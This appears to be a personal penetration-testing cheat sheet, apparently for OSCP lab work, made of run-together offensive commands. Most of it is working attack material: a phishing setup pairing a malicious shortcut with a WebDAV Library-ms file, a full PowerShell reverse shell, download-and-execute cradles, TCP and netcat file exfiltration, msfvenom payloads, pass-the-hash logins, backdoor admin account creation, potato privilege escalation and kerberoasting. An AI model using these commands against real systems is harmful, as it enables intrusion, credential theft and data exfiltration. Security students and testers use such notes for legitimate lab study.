Beginning
Capture Everything:
whoami && ipconfig && type proof.txtwhoami && ifconfig && type proof.txtMake Directories
Nmap Scan -Pn
nmap -Pn ip_addressOther method:
nmap -n -v -sT -A 192.168.1.249Run nmapAutomator Script to automate enum:
/usr/local/bin/nmapAutomator.sh -H 192.168.1.1 -t AllLink: https://github.com/21y4d/nmapAutomator
Or Run Auto Recon (with Sudo Priv):
python3 -m pip install -r ../AutoRecon-main/requirements.txt --break-system-pack Link: https://github.com/Tib3rius/AutoRecon
Nmap detailed with Service Scan
We'll use -sV to enable service and version detection as well as -sC to use Nmap's default scripts. In addition, we'll enter -oN to create an output file containing the scan results.
sudo nmap -sC -sV -oN nmap_results.txt 192.168.247.242If Http service found, run GoBuster Basics
gobuster dir -u http://192.168.247.242 -w /usr/share/wordlists/dirb/common.txt -o gobuster_results -x txt,pdf,configOthers:
gobuster dir -u http://192.168.214.249:8000/ -w /usr/share/wordlists/dirb/common.txt -q -n -e
gobuster dir -u http://192.168.214.249:8000/cms/ -w /usr/share/wordlists/dirb/common.txt -q -n -e -b 302Or use this:
python3 dirsearch.py -u http://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txtdirectory-list-2.3-medium.txt
directory-list-2.3-big.txtIf you have version of service (or even if not), use exploitdb or searchsploit to know if there are exploits available.
searchsploit hmailserverIf Wordpress, use:
whatweb http://192.168.247.244Get Wordpress Plugins details:
wpscan --url http://192.168.247.244 --enumerate p --plugins-detection aggressive -o wpscan_results.txtOnce you file any creds, or useful information, add them to the list of things and keep going!
Trying different usernames & passwords using crackmap
crackmapexec smb 192.168.247.242 -u usernames.txt -p passwords.txt --continue-on-successThen check permissions:
crackmapexec smb 192.168.247.242 -u john -p "dqsXxXpZPn#nL" --sharesLogin with local creds:
crackmapexec smb 192.168.173.96 -u administrator -p 'HULULaasd.?' --shares --local-authPhishing:
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/Downloads/lab/webdavthe victim will look at lnk file in home directory of webdav
create a shortcut file with below command:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.154:8000/powercat.ps1'); powercat -c 192.168.45.154 -p 4444 -e powershell"And put this content on config.Library-ms:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.154</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>Few more helpful stuff
cp /usr/share/peass/linpeas/linpeas.sh .python3 -m http.server 80sudo killall -9 python3wget -O shell.sh http://192.168.45.154/linpeas.shgit logGit Commands:
Using git_dumper download whole .git folder
git show 612ff5783dd5dbd1x0x008523dba83374a84aaf1git commit 612ff5783dd5dbd1x0x008523dba83374a84aaf1
git checkout 612ff5783dd5dbd1x0x008523dba83374a84aaf1Powershell reverse shell
powershell -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.45.173',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback + 'PS ' + (pwd).Path + '> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Search for sensitive extensions:
dir /s /b /ah *.zipGet-ChildItem -Path . -Recurse -Filter "proof.txt" -ErrorAction SilentlyContinueGet-ChildItem -Path . -Recurse -Filter "local.txt" -ErrorAction SilentlyContinueBefore you do anything else, run:
whoami /privMove to a different user
meterpreter > execute -H -f cmd.exe -u "targetusername" -p "Password123"Transferring Files
Download into windows victim:
iwr -uri http://192.168.45.154:8000/SharpHound.ps1 -Outfile SharpHound.ps1iwr -uri http://192.168.45.166/winPEASx64.exe -Outfile wpeas.exeiwr -uri http://192.168.45.166/pspoof.exe -Outfile pspoof.exeiwr -uri http://192.168.45.166/nc.exe -Outfile nc.exeiwr -uri http://192.168.45.166/mimi.exe -Outfile mimi.exeiwr -uri http://192.168.45.166/shell.exe -Outfile shell.execertutil.exe -urlcache -split -f http://192.168.45.166/shell.exe c:\users\public\shell.exeproxychains -q /usr/share/doc/python3-impacket/examples/impacket-GetUserSPNs -request -dc-ip 192.168.50.70 oscp.examiwr -uri http://192.168.45.166/Rubeus.exe -Outfile rub.exe.\rub.exe kerberoast /outfile:hashes.kerberoastOn kali:
nc -nlvp 9001 > received_file.txtOn Victim (Windows):
Note: Ensure you give exact full path
$client = New-Object System.Net.Sockets.TCPClient("<kali_ip>",9001);$stream = $client.GetStream();[byte[]]$bytes = [System.IO.File]::ReadAllBytes("C:\Path\To\File.txt");$stream.Write($bytes,0,$bytes.Length);$stream.Close();$client.Close()On Victim (Linux):
nc <kali_ip> 9001 < /path/to/file.txtReverse Shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.210 LPORT=443 -f exe -o 2shell.exeThen get meterpreter to catch the session:
nc -lvnp 443Or using Meterpreter (not allowed in OSCP)
sudo msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.45.221
set LPORT 443
set ExitOnSession false
run -jThen setup SOCKS Proxy:
use multi/manage/autoroute
set session 1
run
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -jEnsure you edit /etc/proxychains4.conf file manually
Using nmap to scap:
sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.6.240 172.16.6.241 172.16.6.254Some more commands:
proxychains -q evil-winrm -i 10.10.143.148 -u support -p "Freedom1"
proxychains -q evil-winrm -i 10.10.143.148 -u web_svc -p "Diamond1" -d oscp.exam
proxychains -q evil-winrm -i 10.10.143.148 -u Mary.Williams -H 9a3121977ee93af56ebd0ef4f527a35e
proxychains -q evil-winrm -i 10.10.143.146 -u tom_admin -H 4979d69d4ca66955c075c41cf45f24dcproxychains -q /usr/share/doc/python3-impacket/examples/psexec.py MS02/[email protected]
proxychains -q /usr/share/doc/python3-impacket/examples/psexec.py web_svc:[email protected]
proxychains -q /usr/share/doc/python3-impacket/examples/psexec.py OSCP.exam/[email protected] -hashes 00000000000000000000000000000000:9a3121977ee93af56ebd0ef4f527a35e
proxychains -q /usr/share/doc/python3-impacket/examples/psexec.py [email protected] -hashes 00000000000000000000000000000000:9a3121977ee93af56ebd0ef4f527a35eproxychains -q /usr/share/doc/python3-impacket/examples/mssqlclient.py oscp.exam/web_svc:[email protected] -windows-authproxychains -q crackmapexec smb 10.10.143.148 -u users.txt -d oscp.exam -p password.txt --shares
proxychains -q crackmapexec smb 10.10.143.148 -u users.txt -d oscp.exam -p password.txt --continue-on-successGet Windows System Info:
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsArchitecture, WindowsBuildLabExEnable RDP Service
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0Enable-NetFirewallRule -DisplayGroup "Remote Desktop"sc query termserviceCreate new User and Add to Admin group:
net user hacker password /addnet localgroup Administrators hacker /addUsing Potatos
.\pspoof.exe -c "nc.exe 192.168.45.166 1337 -e cmd".\sp.exe "net user hacker password /add"Connect to RDP:
xfreerdp /v:192.168.183.147 /u:hacker /p:password /drive:kali,/home/kali/sharedPowerUP
certutil.exe -urlcache -split -f "http://192.168.45.164/PowerUp.ps1"
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks"Jaws Powershell PrivEsc Windows:
https://github.com/411Hall/JAWS/blob/master/jaws-enum.ps1
https://github.com/411Hall/JAWSpowershell IEX (New-Object Net.WebClient).downloadString('https://192.168.49.221/Jaws.ps1')
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename EnumOutput.txtEnable SSH Service in Kali:
start the SSH service:
sudo systemctl enable ssh
sudo systemctl start sshCheck if it’s running:
sudo systemctl status sshThen do a reverse tunnel back to kali:
ssh -N -R 1122 [email protected]Switching to Root user if you have SU rights:

Install Python package systemwide;
python3 -m pip install -r requirements.txt --break-system-packages Cracking NTLM Hashes:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT ntlm.hashes
//incase the cache dont show up
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT --pot=new.pot ntlm.hashesRunAs Command:
runas /user:OSCP\eric.wallows cmd.exeQuick Sharphound:
iwr -uri http://192.168.45.166/SharpHound.ps1 -Outfile sh.ps1powershell -ep bypass
Import-Module .\Sharphound.ps1Invoke-BloodHound -CollectionMethod All -OutputDirectory c:\users\public\ -OutputPrefix "corp audit" -ZipPassword MyPassword./home/kali/Downloads/BloodHound-linux-x64/BloodHound --no-sandboxWindows Quick Checks
strings admintool.exe | grep passwordGet-ChildItem -Path "C:\Users\" -Recurse -Force -Filter "ConsoleHost_history.txt" -ErrorAction SilentlyContinueLast updated

